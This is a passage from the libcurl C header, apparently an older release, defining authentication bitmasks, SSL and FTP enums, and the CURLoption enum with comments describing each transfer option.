                                   in 7.18.0 */
} curl_proxytype;  /* this enum was added in 7.10 */

#define CURLAUTH_NONE         0       /* nothing */
#define CURLAUTH_BASIC        (1<<0)  /* Basic (default) */
#define CURLAUTH_DIGEST       (1<<1)  /* Digest */
#define CURLAUTH_GSSNEGOTIATE (1<<2)  /* GSS-Negotiate */
#define CURLAUTH_NTLM         (1<<3)  /* NTLM */
#define CURLAUTH_ANY ~0               /* all types set */
#define CURLAUTH_ANYSAFE (~CURLAUTH_BASIC)

#define CURLSSH_AUTH_ANY       ~0     /* all types supported by the server */
#define CURLSSH_AUTH_NONE      0      /* none allowed, silly but complete */
#define CURLSSH_AUTH_PUBLICKEY (1<<0) /* public/private key files */
#define CURLSSH_AUTH_PASSWORD  (1<<1) /* password */
#define CURLSSH_AUTH_HOST      (1<<2) /* host key files */
#define CURLSSH_AUTH_KEYBOARD  (1<<3) /* keyboard interactive */
#define CURLSSH_AUTH_DEFAULT CURLSSH_AUTH_ANY

#define CURL_ERROR_SIZE 256

/* parameter for the CURLOPT_USE_SSL option */
typedef enum {
  CURLUSESSL_NONE,    /* do not attempt to use SSL */
  CURLUSESSL_TRY,     /* try using SSL, proceed anyway otherwise */
  CURLUSESSL_CONTROL, /* SSL for the control connection or fail */
  CURLUSESSL_ALL,     /* SSL for all communication or fail */
  CURLUSESSL_LAST     /* not an option, never use */
} curl_usessl;

#ifndef CURL_NO_OLDIES /* define this to test if your app builds with all
                          the obsolete stuff removed! */

/* Backwards compatibility with older names */
/* These are scheduled to disappear by 2009 */

#define CURLFTPSSL_NONE CURLUSESSL_NONE
#define CURLFTPSSL_TRY CURLUSESSL_TRY
#define CURLFTPSSL_CONTROL CURLUSESSL_CONTROL
#define CURLFTPSSL_ALL CURLUSESSL_ALL
#define CURLFTPSSL_LAST CURLUSESSL_LAST
#define curl_ftpssl curl_usessl
#endif /*!CURL_NO_OLDIES*/

/* parameter for the CURLOPT_FTP_SSL_CCC option */
typedef enum {
  CURLFTPSSL_CCC_NONE,    /* do not send CCC */
  CURLFTPSSL_CCC_PASSIVE, /* Let the server initiate the shutdown */
  CURLFTPSSL_CCC_ACTIVE,  /* Initiate the shutdown */
  CURLFTPSSL_CCC_LAST     /* not an option, never use */
} curl_ftpccc;

/* parameter for the CURLOPT_FTPSSLAUTH option */
typedef enum {
  CURLFTPAUTH_DEFAULT, /* let libcurl decide */
  CURLFTPAUTH_SSL,     /* use "AUTH SSL" */
  CURLFTPAUTH_TLS,     /* use "AUTH TLS" */
  CURLFTPAUTH_LAST /* not an option, never use */
} curl_ftpauth;

/* parameter for the CURLOPT_FTP_FILEMETHOD option */
typedef enum {
  CURLFTPMETHOD_DEFAULT,   /* let libcurl pick */
  CURLFTPMETHOD_MULTICWD,  /* single CWD operation for each path part */
  CURLFTPMETHOD_NOCWD,     /* no CWD at all */
  CURLFTPMETHOD_SINGLECWD, /* one CWD to full dir, then work on file */
  CURLFTPMETHOD_LAST       /* not an option, never use */
} curl_ftpmethod;

/* long may be 32 or 64 bits, but we should never depend on anything else
   but 32 */
#define CURLOPTTYPE_LONG          0
#define CURLOPTTYPE_OBJECTPOINT   10000
#define CURLOPTTYPE_FUNCTIONPOINT 20000
#define CURLOPTTYPE_OFF_T         30000

/* name is uppercase CURLOPT_<name>,
   type is one of the defined CURLOPTTYPE_<type>
   number is unique identifier */
#ifdef CINIT
#undef CINIT
#endif
/*
 * Figure out if we can use the ## operator, which is supported by ISO/ANSI C
 * and C++. Some compilers support it without setting __STDC__ or __cplusplus
 * so we need to carefully check for them too. We don't use configure-checks
 * for these since we want these headers to remain generic and working for all
 * platforms.
 */
#if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus) || \
  defined(__HP_aCC) || defined(__BORLANDC__) || defined(__LCC__) || \
  defined(__POCC__) || defined(__SALFORDC__) || defined(__HIGHC__) || \
  defined(__ILEC400__)
  /* This compiler is believed to have an ISO compatible preprocessor */
#define CURL_ISOCPP
#else
  /* This compiler is believed NOT to have an ISO compatible preprocessor */
#undef CURL_ISOCPP
#endif

#ifdef CURL_ISOCPP
#define CINIT(name,type,number) CURLOPT_ ## name = CURLOPTTYPE_ ## type + number
#else
/* The macro "##" is ISO C, we assume pre-ISO C doesn't support it. */
#define LONG          CURLOPTTYPE_LONG
#define OBJECTPOINT   CURLOPTTYPE_OBJECTPOINT
#define FUNCTIONPOINT CURLOPTTYPE_FUNCTIONPOINT
#define OFF_T         CURLOPTTYPE_OFF_T
#define CINIT(name,type,number) CURLOPT_/**/name = type + number
#endif

/*
 * This macro-mania below setups the CURLOPT_[what] enum, to be used with
 * curl_easy_setopt(). The first argument in the CINIT() macro is the [what]
 * word.
 */

typedef enum {
  /* This is the FILE * or void * the regular output should be written to. */
  CINIT(FILE, OBJECTPOINT, 1),

  /* The full URL to get/put */
  CINIT(URL,  OBJECTPOINT, 2),

  /* Port number to connect to, if other than default. */
  CINIT(PORT, LONG, 3),

  /* Name of proxy to use. */
  CINIT(PROXY, OBJECTPOINT, 4),

  /* "name:password" to use when fetching. */
  CINIT(USERPWD, OBJECTPOINT, 5),

  /* "name:password" to use with proxy. */
  CINIT(PROXYUSERPWD, OBJECTPOINT, 6),

  /* Range to get, specified as an ASCII string. */
  CINIT(RANGE, OBJECTPOINT, 7),

  /* not used */

  /* Specified file stream to upload from (use as input): */
  CINIT(INFILE, OBJECTPOINT, 9),

  /* Buffer to receive error messages in, must be at least CURL_ERROR_SIZE
   * bytes big. If this is not used, error messages go to stderr instead: */
  CINIT(ERRORBUFFER, OBJECTPOINT, 10),

  /* Function that will be called to store the output (instead of fwrite). The
   * parameters will use fwrite() syntax, make sure to follow them. */
  CINIT(WRITEFUNCTION, FUNCTIONPOINT, 11),

  /* Function that will be called to read the input (instead of fread). The
   * parameters will use fread() syntax, make sure to follow them. */
  CINIT(READFUNCTION, FUNCTIONPOINT, 12),

  /* Time-out the read operation after this amount of seconds */
  CINIT(TIMEOUT, LONG, 13),

  /* If the CURLOPT_INFILE is used, this can be used to inform libcurl about
   * how large the file being sent really is. That allows better error
   * checking and better verifies that the upload was succcessful. -1 means
   * unknown size.
   *
   * For large file support, there is also a _LARGE version of the key
   * which takes an off_t type, allowing platforms with larger off_t
   * sizes to handle larger files.  See below for INFILESIZE_LARGE.
   */
  CINIT(INFILESIZE, LONG, 14),

  /* POST static input fields. */
  CINIT(POSTFIELDS, OBJECTPOINT, 15),

  /* Set the referer page (needed by some CGIs) */
  CINIT(REFERER, OBJECTPOINT, 16),

  /* Set the FTP PORT string (interface name, named or numerical IP address)
     Use i.e '-' to use default address. */
  CINIT(FTPPORT, OBJECTPOINT, 17),

  /* Set the User-Agent string (examined by some CGIs) */
  CINIT(USERAGENT, OBJECTPOINT, 18),

  /* If the download receives less than "low speed limit" bytes/second
   * during "low speed time" seconds, the operations is aborted.
   * You could i.e if you have a pretty high speed connection, abort if
   * it is less than 2000 bytes/sec during 20 seconds.
   */

  /* Set the "low speed limit" */
  CINIT(LOW_SPEED_LIMIT, LONG, 19),

  /* Set the "low speed time" */
  CINIT(LOW_SPEED_TIME, LONG, 20),

  /* Set the continuation offset.
   *
   * Note there is also a _LARGE version of this key which uses
   * off_t types, allowing for large file offsets on platforms which
   * use larger-than-32-bit off_t's.  Look below for RESUME_FROM_LARGE.
   */
  CINIT(RESUME_FROM, LONG, 21),

  /* Set cookie in request: */
  CINIT(COOKIE, OBJECTPOINT, 22),

  /* This points to a linked list of headers, struct curl_slist kind */
  CINIT(HTTPHEADER, OBJECTPOINT, 23),

  /* This points to a linked list of post entries, struct HttpPost */
  CINIT(HTTPPOST, OBJECTPOINT, 24),

  /* name of the file keeping your private SSL-certificate */
  CINIT(SSLCERT, OBJECTPOINT, 25),

  /* password for the SSL or SSH private key */
  CINIT(KEYPASSWD, OBJECTPOINT, 26),

  /* send TYPE parameter? */
  CINIT(CRLF, LONG, 27),

  /* send linked-list of QUOTE commands */
  CINIT(QUOTE, OBJECTPOINT, 28),

  /* send FILE * or void * to store headers to, if you use a callback it
     is simply passed to the callback unmodified */
  CINIT(WRITEHEADER, OBJECTPOINT, 29),

  /* point to a file to read the initial cookies from, also enables
     "cookie awareness" */
  CINIT(COOKIEFILE, OBJECTPOINT, 31),

  /* What version to specifly try to use.
     See CURL_SSLVERSION defines below. */
  CINIT(SSLVERSION, LONG, 32),

  /* What kind of HTTP time condition to use, see defines */
  CINIT(TIMECONDITION, LONG, 33),

  /* Time to use with the above condition. Specified in number of seconds
     since 1 Jan 1970 */
  CINIT(TIMEVALUE, LONG, 34),

  /* 35 = OBSOLETE */

  /* Custom request, for customizing the get command like
     HTTP: DELETE, TRACE and others
     FTP: to use a different list command
     */
  CINIT(CUSTOMREQUEST, OBJECTPOINT, 36),

  /* HTTP request, for odd commands like DELETE, TRACE and others */
  CINIT(STDERR, OBJECTPOINT, 37),

  /* 38 is not used */

  /* send linked-list of post-transfer QUOTE commands */
  CINIT(POSTQUOTE, OBJECTPOINT, 39),

  /* Pass a pointer to string of the output using full variable-replacement
     as described elsewhere. */
  CINIT(WRITEINFO, OBJECTPOINT, 40),

  CINIT(VERBOSE, LONG, 41),      /* talk a lot */
  CINIT(HEADER, LONG, 42),       /* throw the header out too */
  CINIT(NOPROGRESS, LONG, 43),   /* shut off the progress meter */
  CINIT(NOBODY, LONG, 44),       /* use HEAD to get http document */
  CINIT(FAILONERROR, LONG, 45),  /* no output on http error codes >= 300 */
  CINIT(UPLOAD, LONG, 46),       /* this is an upload */
  CINIT(POST, LONG, 47),         /* HTTP POST method */
  CINIT(DIRLISTONLY, LONG, 48),  /* return bare names when listing directories */

  CINIT(APPEND, LONG, 50),       /* Append instead of overwrite on upload! */

  /* Specify whether to read the user+password from the .netrc or the URL.
   * This must be one of the CURL_NETRC_* enums below. */
  CINIT(NETRC, LONG, 51),

  CINIT(FOLLOWLOCATION, LONG, 52),  /* use Location: Luke! */

  CINIT(TRANSFERTEXT, LONG, 53), /* transfer data in text/ASCII format */
  CINIT(PUT, LONG, 54),          /* HTTP PUT */

  /* 55 = OBSOLETE */

  /* Function that will be called instead of the internal progress display
   * function. This function should be defined as the curl_progress_callback
   * prototype defines. */
  CINIT(PROGRESSFUNCTION, FUNCTIONPOINT, 56),

  /* Data passed to the progress callback */
  CINIT(PROGRESSDATA, OBJECTPOINT, 57),

  /* We want the referer field set automatically when following locations */
  CINIT(AUTOREFERER, LONG, 58),

  /* Port of the proxy, can be set in the proxy string as well with:
     "[host]:[port]" */
  CINIT(PROXYPORT, LONG, 59),

  /* size of the POST input data, if strlen() is not good to use */
  CINIT(POSTFIELDSIZE, LONG, 60),

  /* tunnel non-http operations through a HTTP proxy */
  CINIT(HTTPPROXYTUNNEL, LONG, 61),

  /* Set the interface string to use as outgoing network interface */
  CINIT(INTERFACE, OBJECTPOINT, 62),

  /* Set the krb4/5 security level, this also enables krb4/5 awareness.  This
   * is a string, 'clear', 'safe', 'confidential' or 'private'.  If the string
   * is set but doesn't match one of these, 'private' will be used.  */
  CINIT(KRBLEVEL, OBJECTPOINT, 63),

  /* Set if we should verify the peer in ssl handshake, set 1 to verify. */
  CINIT(SSL_VERIFYPEER, LONG, 64),

  /* The CApath or CAfile used to validate the peer certificate
     this option is used only if SSL_VERIFYPEER is true */
  CINIT(CAINFO, OBJECTPOINT, 65),

  /* 66 = OBSOLETE */
  /* 67 = OBSOLETE */

  /* Maximum number of http redirects to follow */
  CINIT(MAXREDIRS, LONG, 68),

  /* Pass a long set to 1 to get the date of the requested document (if
     possible)! Pass a zero to shut it off. */
  CINIT(FILETIME, LONG, 69),

  /* This points to a linked list of telnet options */
  CINIT(TELNETOPTIONS, OBJECTPOINT, 70),

  /* Max amount of cached alive connections */
  CINIT(MAXCONNECTS, LONG, 71),

  /* What policy to use when closing connections when the cache is filled
     up */
  CINIT(CLOSEPOLICY, LONG, 72),

  /* 73 = OBSOLETE */

  /* Set to explicitly use a new connection for the upcoming transfer.
     Do not use this unless you're absolutely sure of this, as it makes the
     operation slower and is less friendly for the network. */
  CINIT(FRESH_CONNECT, LONG, 74),

  /* Set to explicitly forbid the upcoming transfer's connection to be re-used
     when done. Do not use this unless you're absolutely sure of this, as it
     makes the operation slower and is less friendly for the network. */
  CINIT(FORBID_REUSE, LONG, 75),

  /* Set to a file name that contains random data for libcurl to use to
     seed the random engine when doing SSL connects. */
  CINIT(RANDOM_FILE, OBJECTPOINT, 76),

  /* Set to the Entropy Gathering Daemon socket pathname */
  CINIT(EGDSOCKET, OBJECTPOINT, 77),

  /* Time-out connect operations after this amount of seconds, if connects
     are OK within this time, then fine... This only aborts the connect
     phase. [Only works on unix-style/SIGALRM operating systems] */
  CINIT(CONNECTTIMEOUT, LONG, 78),

  /* Function that will be called to store headers (instead of fwrite). The
   * parameters will use fwrite() syntax, make sure to follow them. */
  CINIT(HEADERFUNCTION, FUNCTIONPOINT, 79),

  /* Set this to force the HTTP request to get back to GET. Only really usable
     if POST, PUT or a custom request have been used first.
   */
  CINIT(HTTPGET, LONG, 80),

  /* Set if we should verify the Common name from the peer certificate in ssl
   * handshake, set 1 to check existence, 2 to ensure that it matches the
   * provided hostname. */
  CINIT(SSL_VERIFYHOST, LONG, 81),

  /* Specify which file name to write all known cookies in after completed
     operation. Set file name to "-" (dash) to make it go to stdout. */
  CINIT(COOKIEJAR, OBJECTPOINT, 82),

  /* Specify which SSL ciphers to use */
  CINIT(SSL_CIPHER_LIST, OBJECTPOINT, 83),

  /* Specify which HTTP version to use! This must be set to one of the
     CURL_HTTP_VERSION* enums set below. */
  CINIT(HTTP_VERSION, LONG, 84),

  /* Specificly switch on or off the FTP engine's use of the EPSV command. By
     default, that one will always be attempted before the more traditional
     PASV command. */
  CINIT(FTP_USE_EPSV, LONG, 85),

  /* type of the file keeping your SSL-certificate ("DER", "PEM", "ENG") */
  CINIT(SSLCERTTYPE, OBJECTPOINT, 86),

  /* name of the file keeping your private SSL-key */
  CINIT(SSLKEY, OBJECTPOINT, 87),

  /* type of the file keeping your private SSL-key ("DER", "PEM", "ENG") */
  CINIT(SSLKEYTYPE, OBJECTPOINT, 88),

  /* crypto engine for the SSL-sub system */
  CINIT(SSLENGINE, OBJECTPOINT, 89),

  /* set the crypto engine for the SSL-sub system as default
     the param has no meaning...
   */
  CINIT(SSLENGINE_DEFAULT, LONG, 90),

  /* Non-zero value means to use the global dns cache */
  CINIT(DNS_USE_GLOBAL_CACHE, LONG, 91), /* To become OBSOLETE soon */

  /* DNS cache timeout */
  CINIT(DNS_CACHE_TIMEOUT, LONG, 92),

  /* send linked-list of pre-transfer QUOTE commands (Wesley Laxton)*/
  CINIT(PREQUOTE, OBJECTPOINT, 93),

  /* set the debug function */
  CINIT(DEBUGFUNCTION, FUNCTIONPOINT, 94),

  /* set the data for the debug function */
  CINIT(DEBUGDATA, OBJECTPOINT, 95),

  /* mark this as start of a cookie session */
  CINIT(COOKIESESSION, LONG, 96),

  /* The CApath directory used to validate the peer certificate
     this option is used only if SSL_VERIFYPEER is true */
  CINIT(CAPATH, OBJECTPOINT, 97),

  /* Instruct libcurl to use a smaller receive buffer */
  CINIT(BUFFERSIZE, LONG, 98),

  /* Instruct libcurl to not use any signal/alarm handlers, even when using
     timeouts. This option is useful for multi-threaded applications.
     See libcurl-the-guide for more background information. */
  CINIT(NOSIGNAL, LONG, 99),

  /* Provide a CURLShare for mutexing non-ts data */
  CINIT(SHARE, OBJECTPOINT, 100),

  /* indicates type of proxy. accepted values are CURLPROXY_HTTP (default),
     CURLPROXY_SOCKS4, CURLPROXY_SOCKS4A and CURLPROXY_SOCKS5. */
  CINIT(PROXYTYPE, LONG, 101),

  /* Set the Accept-Encoding string. Use this to tell a server you would like
     the response to be compressed. */
  CINIT(ENCODING, OBJECTPOINT, 102),

  /* Set pointer to private data */
  CINIT(PRIVATE, OBJECTPOINT, 103),

  /* Set aliases for HTTP 200 in the HTTP Response header */
  CINIT(HTTP200ALIASES, OBJECTPOINT, 104),

  /* Continue to send authentication (user+password) when following locations,
     even when hostname changed. This can potentionally send off the name
     and password to whatever host the server decides. */
  CINIT(UNRESTRICTED_AUTH, LONG, 105),

  /* Specificly switch on or off the FTP engine's use of the EPRT command ( it
     also disables the LPRT attempt). By default, those ones will always be
     attempted before the good old traditional PORT command. */
  CINIT(FTP_USE_EPRT, LONG, 106),

  /* Set this to a bitmask value to enable the particular authentications
     methods you like. Use this in combination with CURLOPT_USERPWD.
     Note that setting multiple bits may cause extra network round-trips. */
  CINIT(HTTPAUTH, LONG, 107),

  /* Set the ssl context callback function, currently only for OpenSSL ssl_ctx
     in second argument. The function must be matching the
     curl_ssl_ctx_callback proto. */
  CINIT(SSL_CTX_FUNCTION, FUNCTIONPOINT, 108),

  /* Set the userdata for the ssl context callback function's third
     argument */
  CINIT(SSL_CTX_DATA, OBJECTPOINT, 109),

  /* FTP Option that causes missing dirs to be created on the remote server */
  CINIT(FTP_CREATE_MISSING_DIRS, LONG, 110),

  /* Set this to a bitmask value to enable the particular authentications
     methods you like. Use this in combination with CURLOPT_PROXYUSERPWD.
     Note that setting multiple bits may cause extra network round-trips. */
  CINIT(PROXYAUTH, LONG, 111),

  /* FTP option that changes the timeout, in seconds, associated with
     getting a response.  This is different from transfer timeout time and
     essentially places a demand on the FTP server to acknowledge commands
     in a timely manner. */
  CINIT(FTP_RESPONSE_TIMEOUT, LONG, 112),

  /* Set this option to one of the CURL_IPRESOLVE_* defines (see below) to
     tell libcurl to resolve names to those IP versions only. This only has
     affect on systems with support for more than one, i.e IPv4 _and_ IPv6. */
  CINIT(IPRESOLVE, LONG, 113),

  /* Set this option to limit the size of a file that will be downloaded from
     an HTTP or FTP server.

     Note there is also _LARGE version which adds large file support for
     platforms which have larger off_t sizes.  See MAXFILESIZE_LARGE below. */
  CINIT(MAXFILESIZE, LONG, 114),

  /* See the comment for INFILESIZE above, but in short, specifies
   * the size of the file being uploaded.  -1 means unknown.
   */
  CINIT(INFILESIZE_LARGE, OFF_T, 115),

  /* Sets the continuation offset.  There is also a LONG version of this;
   * look above for RESUME_FROM.
   */
  CINIT(RESUME_FROM_LARGE, OFF_T, 116),

  /* Sets the maximum size of data that will be downloaded from
   * an HTTP or FTP server.  See MAXFILESIZE above for the LONG version.
   */
  CINIT(MAXFILESIZE_LARGE, OFF_T, 117),

  /* Set this option to the file name of your .netrc file you want libcurl
     to parse (using the CURLOPT_NETRC option). If not set, libcurl will do
     a poor attempt to find the user's home directory and check for a .netrc
     file in there. */
  CINIT(NETRC_FILE, OBJECTPOINT, 118),

  /* Enable SSL/TLS for FTP, pick one of:
     CURLFTPSSL_TRY     - try using SSL, proceed anyway otherwise
     CURLFTPSSL_CONTROL - SSL for the control connection or fail
     CURLFTPSSL_ALL     - SSL for all communication or fail
  */
  CINIT(USE_SSL, LONG, 119),

  /* The _LARGE version of the standard POSTFIELDSIZE option */
  CINIT(POSTFIELDSIZE_LARGE, OFF_T, 120),

  /* Enable/disable the TCP Nagle algorithm */
  CINIT(TCP_NODELAY, LONG, 121),

  /* 122 OBSOLETE, used in 7.12.3. Gone in 7.13.0 */
  /* 123 OBSOLETE. Gone in 7.16.0 */
  /* 124 OBSOLETE, used in 7.12.3. Gone in 7.13.0 */
  /* 125 OBSOLETE, used in 7.12.3. Gone in 7.13.0 */
  /* 126 OBSOLETE, used in 7.12.3. Gone in 7.13.0 */
  /* 127 OBSOLETE. Gone in 7.16.0 */
  /* 128 OBSOLETE. Gone in 7.16.0 */

  /* When FTP over SSL/TLS is selected (with CURLOPT_USE_SSL), this option
     can be used to change libcurl's default action which is to first try
     "AUTH SSL" and then "AUTH TLS" in this order, and proceed when a OK
     response has been received.

     Available parameters are:
     CURLFTPAUTH_DEFAULT - let libcurl decide
     CURLFTPAUTH_SSL     - try "AUTH SSL" first, then TLS
     CURLFTPAUTH_TLS     - try "AUTH TLS" first, then SSL
  */
  CINIT(FTPSSLAUTH, LONG, 129),

  CINIT(IOCTLFUNCTION, FUNCTIONPOINT, 130),
  CINIT(IOCTLDATA, OBJECTPOINT, 131),

  /* 132 OBSOLETE. Gone in 7.16.0 */
  /* 133 OBSOLETE. Gone in 7.16.0 */

  /* zero terminated string for pass on to the FTP server when asked for
     "account" info */
  CINIT(FTP_ACCOUNT, OBJECTPOINT, 134),

  /* feed cookies into cookie engine */
  CINIT(COOKIELIST, OBJECTPOINT, 135),

  /* ignore Content-Length */
  CINIT(IGNORE_CONTENT_LENGTH, LONG, 136),

  /* Set to non-zero to skip the IP address received in a 227 PASV FTP server
     response. Typically used for FTP-SSL purposes but is not restricted to
     that. libcurl will then instead use the same IP address it used for the
     control connection. */
  CINIT(FTP_SKIP_PASV_IP, LONG, 137),

  /* Select "file method" to use when doing FTP, see the curl_ftpmethod
     above. */
  CINIT(FTP_FILEMETHOD, LONG, 138),

  /* Local port number to bind the socket to */
  CINIT(LOCALPORT, LONG, 139),

  /* Number of ports to try, including the first one set with LOCALPORT.
     Thus, setting it to 1 will make no additional attempts but the first.
  */
  CINIT(LOCALPORTRANGE, LONG, 140),

  /* no transfer, set up connection and let application use the socket by
     extracting it with CURLINFO_LASTSOCKET */
  CINIT(CONNECT_ONLY, LONG, 141),

  /* Function that will be called to convert from the
     network encoding (instead of using the iconv calls in libcurl) */
  CINIT(CONV_FROM_NETWORK_FUNCTION, FUNCTIONPOINT, 142),

  /* Function that will be called to convert to the
     network encoding (instead of using the iconv calls in libcurl) */
  CINIT(CONV_TO_NETWORK_FUNCTION, FUNCTIONPOINT, 143),

  /* Function that will be called to convert from UTF8
     (instead of using the iconv calls in libcurl)
     Note that this is used only for SSL certificate processing */
  CINIT(CONV_FROM_UTF8_FUNCTION, FUNCTIONPOINT, 144),

  /* if the connection proceeds too quickly then need to slow it down */
  /* limit-rate: maximum number of bytes per second to send or receive */
  CINIT(MAX_SEND_SPEED_LARGE, OFF_T, 145),
  CINIT(MAX_RECV_SPEED_LARGE, OFF_T, 146),

  /* Pointer to command string to send if USER/PASS fails. */
  CINIT(FTP_ALTERNATIVE_TO_USER, OBJECTPOINT, 147),

  /* callback function for setting socket options */
  CINIT(SOCKOPTFUNCTION, FUNCTIONPOINT, 148),
  CINIT(SOCKOPTDATA, OBJECTPOINT, 149),

  /* set to 0 to disable session ID re-use for this transfer, default is
     enabled (== 1) */
  CINIT(SSL_SESSIONID_CACHE, LONG, 150),

  /* allowed SSH authentication methods */
  CINIT(SSH_AUTH_TYPES, LONG, 151),

  /* Used by scp/sftp to do public/private key authentication */
  CINIT(SSH_PUBLIC_KEYFILE, OBJECTPOINT, 152),
  CINIT(SSH_PRIVATE_KEYFILE, OBJECTPOINT, 153),

  /* Send CCC (Clear Command Channel) after authentication */
  CINIT(FTP_SSL_CCC, LONG, 154),

  /* Same as TIMEOUT and CONNECTTIMEOUT, but with ms resolution */
  CINIT(TIMEOUT_MS, LONG, 155),
  CINIT(CONNECTTIMEOUT_MS, LONG, 156),

  /* set to zero to disable the libcurl's decoding and thus pass the raw body
     data to the appliction even when it is encoded/compressed */
  CINIT(HTTP_TRANSFER_DECODING, LONG, 157),
  CINIT(HTTP_CONTENT_DECODING, LONG, 158),

  /* Permission used when creating new files and directories on the remote
     server for protocols that support it, SFTP/SCP/FILE */
  CINIT(NEW_FILE_PERMS, LONG, 159),
  CINIT(NEW_DIRECTORY_PERMS, LONG, 160),

  /* Obey RFC 2616/10.3.2 and keep POSTs as POSTs after a 301 */
  CINIT(POST301, LONG, 161),

  /* used by scp/sftp to verify the host's public key */
  CINIT(SSH_HOST_PUBLIC_KEY_MD5, OBJECTPOINT, 162),

  /* Callback function for opening socket (instead of socket(2)). Optionally,
     callback is able change the address or refuse to connect returning
     CURL_SOCKET_BAD.  The callback should have type
     curl_opensocket_callback */
  CINIT(OPENSOCKETFUNCTION, FUNCTIONPOINT, 163),
  CINIT(OPENSOCKETDATA, OBJECTPOINT, 164),

  /* POST volatile input fields. */
  CINIT(COPYPOSTFIELDS, OBJECTPOINT, 165),

  /* set transfer mode (;type=<a|i>) when doing FTP via an HTTP proxy */
  CINIT(PROXY_TRANSFER_MODE, LONG, 166),

  /* Callback function for seeking in the input stream */
  CINIT(SEEKFUNCTION, FUNCTIONPOINT, 167),
  CINIT(SEEKDATA, OBJECTPOINT, 168),

  CURLOPT_LASTENTRY /* the last unused */
} CURLoption;

#ifndef CURL_NO_OLDIES /* define this to test if your app builds with all
                          the obsolete stuff removed! */

/* Backwards compatibility with older names */
/* These are scheduled to disappear by 2009 */

/* The following were added in 7.17.0 */
#define CURLOPT_SSLKEYPASSWD CURLOPT_KEYPASSWD
#define CURLOPT_FTPAPPEND CURLOPT_APPEND
#define CURLOPT_FTPLISTONLY CURLOPT_DIRLISTONLY
#define CURLOPT_FTP_SSL CURLOPT_USE_SSL

/* The following were added earlier */

#define CURLOPT_SSLCERTPASSWD CURLOPT_KEYPASSWD
#define CURLOPT_KRB4LEVEL CURLOPT_KRBLEVEL

#else
/* This is set if CURL_NO_OLDIES is defined at compile-time */
#undef CURLOPT_DNS_USE_GLOBAL_CACHE /* soon obsolete */
#endif


  /* Below here follows defines for the CURLOPT_IPRESOLVE option. If a host
     name resolves addresses using more than one IP protocol version, this
     option might be handy to force libcurl to use a specific IP version. */
#define CURL_IPRESOLVE_WHATEVER 0 /* default, resolves addresses to all IP
                                     versions that your system allows */
#define CURL_IPRESOLVE_V4       1 /* resolve to ipv4 addresses */
#define CURL_IPRESOLVE_V6       2 /* resolve to ipv6 addresses */

  /* three convenient "aliases" that follow the name scheme better */
#define CURLOPT_WRITEDATA CURLOPT_FILE
#define CURLOPT_READDATA  CURLOPT_INFILE
#define CURLOPT_HEADERDATA CURLOPT_WRITEHEADER

  /* These enums are for use with the CURLOPT_HTTP_VERSION option. */
enum {
  CURL_HTTP_VERSION_NONE, /* setting this means we don't care, and that we'd
                             like the library to choose the best possible
                             for us! */
  CURL_HTTP_VERSION_1_0,  /* please use HTTP 1.0 in the request */
  CURL_HTTP_VERSION_1_1,  /* please use HTTP 1.1 in the request */

  CURL_HTTP_VERSION_LAST /* *ILLEGAL* http version */
};

  /* These enums are for use with the CURLOPT_NETRC option. */
enum CURL_NETRC_OPTION {
  CURL_NETRC_IGNORED,     /* The .netrc will never be read.
                           * This is the default. */
  CURL_NETRC_OPTIONAL,    /* A user:password in the URL will be preferred
                           * to one in the .netrc. */
  CURL_NETRC_REQUIRED,    /* A user:password in the URL will be ignored.
                           * Unless one is set programmatically, the .netrc
                           * will be queried. */
  CURL_NETRC_LAST
};

enum {
  CURL_SSLVERSION_DEFAULT,
  CURL_SSLVERSION_TLSv1,
  CURL_SSLVERSION_SSLv2,
  CURL_SSLVERSION_SSLv3,

  CURL_SSLVERSION_LAST /* never use, keep last */
};


typedef enum {
  CURL_TIMECOND_NONE,

  CURL_TIMECOND_IFMODSINCE,
  CURL_TIMECOND_IFUNMODSINCE,
  CURL_TIMECOND_LASTMOD,

  CURL_TIMECOND_LAST
} curl_TimeCond;


/* curl_strequal() and curl_strnequal() are subject for removal in a future
   libcurl, see lib/README.curlx for details */
CURL_EXTERN int (curl_strequal)(const char *s1, const char *s2);
CURL_EXTERN int (curl_strnequal)(const char *s1, const char *s2, size_t n);

/* name is uppercase CURLFORM_<name> */
#ifdef CFINIT
#undef CFINIT
#endif

#ifdef CURL_ISOCPP
#define CFINIT(name) CURLFORM_ ## name
#else
/* The macro "##" is ISO C, we assume pre-ISO C doesn't support it. */
#define CFINIT(name) CURLFORM_/**/name
#endif

typedef enum {
  CFINIT(NOTHING),        /********* the first one is unused ************/

  /*  */
  CFINIT(COPYNAME),
  CFINIT(PTRNAME),
  CFINIT(NAMELENGTH),
  CFINIT(COPYCONTENTS),
  CFINIT(PTRCONTENTS),
  CFINIT(CONTENTSLENGTH),
  CFINIT(FILECONTENT),
  CFINIT(ARRAY),
  CFINIT(OBSOLETE),
  CFINIT(FILE),

  CFINIT(BUFFER),
  CFINIT(BUFFERPTR),
  CFINIT(BUFFERLENGTH),

  CFINIT(CONTENTTYPE),
  CFINIT(CONTENTHEADER),
  CFINIT(FILENAME),
  CFINIT(END),
  CFINIT(OBSOLETE2),

  CURLFORM_LASTENTRY /* the last unusued */
} CURLformoption;

#undef CFINIT /* done */

/* structure to be used as parameter for CURLFORM_ARRAY */
struct curl_forms {
  CURLformoption option;
  const char     *value;
};

/* use this for multipart formpost building */
/* Returns code for curl_formadd()
 *
 * Returns:
 * CURL_FORMADD_OK             on success
 * CURL_FORMADD_MEMORY         if the FormInfo allocation fails
 * CURL_FORMADD_OPTION_TWICE   if one option is given twice for one Form
 * CURL_FORMADD_NULL           if a null pointer was given for a char
 * CURL_FORMADD_MEMORY         if the allocation of a FormInfo struct failed
 * CURL_FORMADD_UNKNOWN_OPTION if an unknown option was used
 * CURL_FORMADD_INCOMPLETE     if the some FormInfo is not complete (or error)
 * CURL_FORMADD_MEMORY         if a HttpPost struct cannot be allocated
 * CURL_FORMADD_MEMORY         if some allocation for string copying failed.
 * CURL_FORMADD_ILLEGAL_ARRAY  if an illegal option is used in an array
 *
 ***************************************************************************/
typedef enum {
  CURL_FORMADD_OK, /* first, no error */

  CURL_FORMADD_MEMORY,
  CURL_FORMADD_OPTION_TWICE,
  CURL_FORMADD_NULL,
  CURL_FORMADD_UNKNOWN_OPTION,
  CURL_FORMADD_INCOMPLETE,
  CURL_FORMADD_ILLEGAL_ARRAY,
  CURL_FORMADD_DISABLED, /* libcurl was built with this disabled */

  CURL_FORMADD_LAST /* last */
} CURLFORMcode;

/*
 * NAME curl_formadd()
 *
 * DESCRIPTION
 *
 * Pretty advanved function for building multi-part formposts. Each invoke
 * adds one part that together construct a full post. Then use
 * CURLOPT_HTTPPOST to send it off to libcurl.
 */
